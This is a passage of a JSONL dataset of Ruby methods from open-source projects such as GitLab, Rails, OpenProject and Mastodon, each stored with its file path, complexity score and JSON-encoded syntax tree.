\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"90621937-4f5d-4f74-bab5-6450814f6daf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/authz/tokens/authorize_granular_scopes_service.rb","start_line":94,"raw_source":"def access_denied_error\n        error format(\"Access denied: Your %{token} lacks the required permissions: [%{permissions}]%{path}.\",\n          token: token.class.name.titleize,\n          permissions: missing_permissions.join(', '),\n          path: (\" for \\\"#{boundary.path}\\\"\" if boundary.path))\n      end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"access_denied_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"Access denied: Your %{token} lacks the required permissions: [%{permissions}]%{path}.\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"class\"]},\"name\"]},\"titleize\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"missing_permissions\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"boundary\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" for \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"boundary\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},null]}]}]}]}]}]}]}","id":"61ca86c4-6c1b-4971-8a48-69e1d648e1af"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_behavior.rb","start_line":129,"raw_source":"def test_should_read_and_write_nil\n    key = SecureRandom.uuid\n    assert_equal true, @cache.write(key, nil)\n    assert_nil @cache.read(key)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_read_and_write_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"15811ad1-8aab-417d-8429-b480b933d4a0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/index_sub_header_component.rb","start_line":64,"raw_source":"def upcoming_query?\n      filter = @query.filters.find { |f| f.name == :time }\n      filter ? !filter.past? : true\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"upcoming_query?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},\"filters\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"time\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"past?\"]},\"!\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"f22139ce-eeb4-474e-9ea8-701c4bc9f2d2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/files_info_query.rb","start_line":93,"raw_source":"def build_file_info(value)\n              Results::StorageFileInfo.build(\n                status: value[:status],\n                status_code: value[:statuscode],\n                id: value[:id].to_s,\n                name: value[:name],\n                last_modified_at: Time.zone.at(value[:mtime]),\n                created_at: Time.zone.at(value[:ctime]),\n                mime_type: value[:mimetype],\n                size: value[:size],\n                owner_name: value[:owner_name],\n                owner_id: value[:owner_id],\n                last_modified_by_name: value[:modifier_name],\n                last_modified_by_id: value[:modifier_id],\n                permissions: value[:dav_permissions],\n                location: location(value[:path], value[:mimetype])\n              )\n            end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_file_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"StorageFileInfo\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"statuscode\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mtime\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ctime\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mimetype\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"size\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"owner_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"owner_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified_by_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"modifier_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified_by_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"modifier_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dav_permissions\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[null,\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mimetype\"]}]}]}]}]}]}]}","id":"0ba24bd3-ae8e-49fa-a87d-1582d55884c9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/attachments/validate_replacements.rb","start_line":50,"raw_source":"def error_if_attachment_assigned(attachment)\n      errors.add :attachments, :unchangeable if attachment.container && attachment.container != model\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error_if_attachment_assigned\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"container\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"model\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"attachments\"]},{\"type\":\"sym\",\"children\":[\"unchangeable\"]}]},null]}]}","id":"81436de2-7c82-4f31-a1de-5e3560821906"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/dispatch_service.rb","start_line":208,"raw_source":"def mail_from_system?\n      # Ignore emails received from the application emission address to avoid hell cycles\n      if sender_email.downcase == Setting.mail_from.to_s.strip.downcase\n        log \"ignoring email from emission address [#{sender_email}]\", report: false\n        # don't report back errors to ourselves\n        return true\n      end\n\n      false\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mail_from_system?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sender_email\"]},\"downcase\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"mail_from\"]},\"to_s\"]},\"strip\"]},\"downcase\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ignoring email from emission address [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sender_email\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"29d33409-5188-4da7-8f92-ba14407f8598"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/ast/sexp_extensions/methods.rb","start_line":60,"raw_source":"def depends_on_instance?\n          ReferenceCollector.new(self).num_refs_to_self.positive?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"depends_on_instance?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReferenceCollector\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"num_refs_to_self\"]},\"positive?\"]}]}","id":"ec9d5d9d-dc7e-4a45-860f-44f96979088f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/discussions_diff/file_collection.rb","start_line":78,"raw_source":"def highlighted_lines_by_ids(ids)\n        diff_files_indexed_by_id.slice(*ids).transform_values do |file|\n          file.highlighted_diff_lines.map(&:to_hash)\n        end\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"highlighted_lines_by_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_files_indexed_by_id\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"highlighted_diff_lines\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_hash\"]}]}]}]}]}","id":"e382ad36-5990-46a8-84d9-057fe8b71d07"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/namespaced_generators_test.rb","start_line":265,"raw_source":"def test_scaffold_with_namespace_on_invoke\n    run_generator [ \"admin/role\", \"name:string\", \"description:string\" ]\n\n    # Model\n    assert_file \"app/models/test_app/admin.rb\", /module TestApp\\n  module Admin/\n    assert_file \"app/models/test_app/admin/role.rb\", /module TestApp\\n  class Admin::Role < ApplicationRecord/\n    assert_file \"test/models/test_app/admin/role_test.rb\", /module TestApp\\n  class Admin::RoleTest < ActiveSupport::TestCase/\n    assert_file \"test/fixtures/test_app/admin/roles.yml\"\n    assert_migration \"db/migrate/create_test_app_admin_roles.rb\"\n\n    # Route\n    assert_file \"config/routes.rb\" do |route|\n      assert_match(/^  namespace :admin do\\n    resources :roles\\n  end$/, route)\n    end\n\n    # Controller\n    assert_file \"app/controllers/test_app/admin/roles_controller.rb\" do |content|\n      assert_match(/module TestApp\\n  class Admin::RolesController < ApplicationController/, content)\n    end\n\n    assert_file \"test/controllers/test_app/admin/roles_controller_test.rb\",\n                /module TestApp\\n  class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/\n\n    # Views\n    %w(index edit new show _form).each do |view|\n      assert_file \"app/views/test_app/admin/roles/#{view}.html.erb\"\n    end\n    assert_no_file \"app/views/layouts/admin/roles.html.erb\"\n\n    # Helpers\n    assert_file \"app/helpers/test_app/admin/roles_helper.rb\"\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scaffold_with_namespace_on_invoke\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"admin/role\"]},{\"type\":\"str\",\"children\":[\"name:string\"]},{\"type\":\"str\",\"children\":[\"description:string\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/test_app/admin.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\\\n  module Admin\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/test_app/admin/role.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\\\n  class Admin::Role < ApplicationRecord\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/models/test_app/admin/role_test.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\\\n  class Admin::RoleTest < ActiveSupport::TestCase\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/fixtures/test_app/admin/roles.yml\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"str\",\"children\":[\"db/migrate/create_test_app_admin_roles.rb\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^  namespace :admin do\\\\n    resources :roles\\\\n  end$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"route\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/test_app/admin/roles_controller.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\\\n  class Admin::RolesController < ApplicationController\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/controllers/test_app/admin/roles_controller_test.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\\\n  class Admin::RolesControllerTest < ActionDispatch::IntegrationTest\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"index\"]},{\"type\":\"str\",\"children\":[\"edit\"]},{\"type\":\"str\",\"children\":[\"new\"]},{\"type\":\"str\",\"children\":[\"show\"]},{\"type\":\"str\",\"children\":[\"_form\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/test_app/admin/roles/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]}]},{\"type\":\"str\",\"children\":[\".html.erb\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/views/layouts/admin/roles.html.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/helpers/test_app/admin/roles_helper.rb\"]}]}]}]}","id":"bbee25c7-fb1b-462c-a74e-4070fdafb28c"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/stripe/client.rb","start_line":32,"raw_source":"def write(sync_config, records, action = \"create\")\n            @sync_config = sync_config\n            @action = sync_config.stream.action || action\n            initialize_client(sync_config.destination.connection_specification)\n            process_records(records, sync_config.stream)\n          rescue StandardError => e\n            handle_exception(e, {\n                               context: \"STRIPE:CRM:WRITE:EXCEPTION\",\n                               type: \"error\",\n                               sync_id: @sync_config.sync_id,\n                               sync_run_id: @sync_config.sync_run_id\n                             })\n          end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]},{\"type\":\"arg\",\"children\":[\"records\"]},{\"type\":\"optarg\",\"children\":[\"action\",{\"type\":\"str\",\"children\":[\"create\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sync_config\",{\"type\":\"lvar\",\"children\":[\"sync_config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@action\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"stream\"]},\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"send\",\"children\":[null,\"initialize_client\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"destination\"]},\"connection_specification\"]}]},{\"type\":\"send\",\"children\":[null,\"process_records\",{\"type\":\"lvar\",\"children\":[\"records\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"stream\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"STRIPE:CRM:WRITE:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_config\"]},\"sync_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_config\"]},\"sync_run_id\"]}]}]}]}]},null]}]}","id":"6a713bc4-76e5-4048-8a2e-5117fbae3788"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory.rb","start_line":244,"raw_source":"def save_child_devices_inventory(guest_device, hashes)\n    return if hashes.nil?\n\n    deletes = guest_device.child_devices.where(:device_type => [\"ethernet\", \"storage\"])\n    save_inventory_multi(guest_device.child_devices, hashes, deletes, [:device_type, :uid_ems], [:network, :miq_scsi_targets], [:switch, :lan])\n    store_ids_for_new_records(guest_device.child_devices, hashes, [:device_type, :uid_ems])\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"save_child_devices_inventory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"guest_device\"]},{\"type\":\"arg\",\"children\":[\"hashes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"deletes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guest_device\"]},\"child_devices\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"device_type\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ethernet\"]},{\"type\":\"str\",\"children\":[\"storage\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"save_inventory_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guest_device\"]},\"child_devices\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"lvar\",\"children\":[\"deletes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"device_type\"]},{\"type\":\"sym\",\"children\":[\"uid_ems\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"network\"]},{\"type\":\"sym\",\"children\":[\"miq_scsi_targets\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"switch\"]},{\"type\":\"sym\",\"children\":[\"lan\"]}]}]},{\"type\":\"send\",\"children\":[null,\"store_ids_for_new_records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guest_device\"]},\"child_devices\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"device_type\"]},{\"type\":\"sym\",\"children\":[\"uid_ems\"]}]}]}]}]}","id":"2dd6b802-0b2b-4346-b5fa-5d9b1fbaacbc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/workers/activitypub/quote_request_worker_spec.rb","start_line":21,"raw_source":"def match_object_shape\n      match_json_values(\n        type: 'QuoteRequest',\n        actor: ActivityPub::TagManager.instance.uri_for(quote.account),\n        object: ActivityPub::TagManager.instance.uri_for(quoted_status),\n        instrument: a_hash_including(\n          id: ActivityPub::TagManager.instance.uri_for(status)\n        )\n      )\n    end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"match_object_shape\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"match_json_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"QuoteRequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\"]},\"account\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[null,\"quoted_status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instrument\"]},{\"type\":\"send\",\"children\":[null,\"a_hash_including\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[null,\"status\"]}]}]}]}]}]}]}]}]}","id":"4483c263-f1c1-4d0c-874b-bfc8a4495832"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/context_test.rb","start_line":468,"raw_source":"def test_access_to_context_from_proc\n    @context.registers[:magic] = 345392\n\n    @context['magic'] = proc { @context.registers[:magic] }\n\n    assert_equal(345392, @context['magic'])\n  end","complexity_score":10.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_access_to_context_from_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"registers\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"magic\"]},{\"type\":\"int\",\"children\":[345392]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"magic\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"registers\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"magic\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[345392]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"[]\",{\"type\":\"str\",\"children\":[\"magic\"]}]}]}]}]}","id":"a903fc53-24a1-49bd-be2c-8f7cd2e0383e"}
